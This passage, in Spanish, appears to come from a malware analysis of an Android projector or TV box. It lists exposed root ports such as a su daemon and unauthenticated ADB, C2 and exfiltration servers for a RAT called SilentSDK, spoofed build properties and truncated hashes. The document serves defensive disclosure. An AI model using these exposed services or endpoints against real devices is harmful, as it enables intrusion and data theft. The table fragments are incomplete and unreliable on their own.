m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Centinela de MAC falsa de Android (API 23+) |
| Puerto | UID | Descripción |
|---|
| 65528 | root (0) | Demonio su |
| 5555 | root (0) | ADB sin autenticación |
| 7889/7890 | system (1000) | Servicio desconocido |
| 10012/10013 | system (1000) | ¿Depuración de fábrica? |
| Servidor | Endpoint | Función |
|---|
store-api.aodintech.com | POST /sign/app/list | Distribución de Aplicaciones |
sta.smartinnovate.net | GET /*.jar | Distribución de Payload |
cdn-store.aodintech.com | GET /*.bpp | Descarga de APK |
event-api.aodintech.com | POST /report | Telemetría |
api.pixelpioneerss.com | POST /(random) | RAT C2 de SilentSDK |
bur.thedynamicleap.com | `POST (GZIP+AES)`` | Exfiltración de Telemetría de SilentSDK |
pb-api.aodintech.com | GET /api/collections/... | Configuración de Anuncios |
ota.triplesai.com:8080 | POST /V1/Ota/Check | Actualizaciones de Firmware |
api.ipdatacloud.com | GET /v2/query | Geolocalización IP |
euads-o.api.leiniao.com | — | Servidor de Anuncios Secundario |
connect.rom.miui.com | — | Telemetría de Xiaomi |
| Valor Suplantado |
|---|
| Valor Real |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| Fecha de compilación | — | Tue Apr 22 15:20 CST 2025 |
| SHA-256 |
|---|
| Respuesta del Servidor C2 | 5df097591d694... | — |
| Nuestro APK Descifrado | 5df097591d694... | e5a193c31526a... |
| Análisis Externo | — | e5a193c31526a... |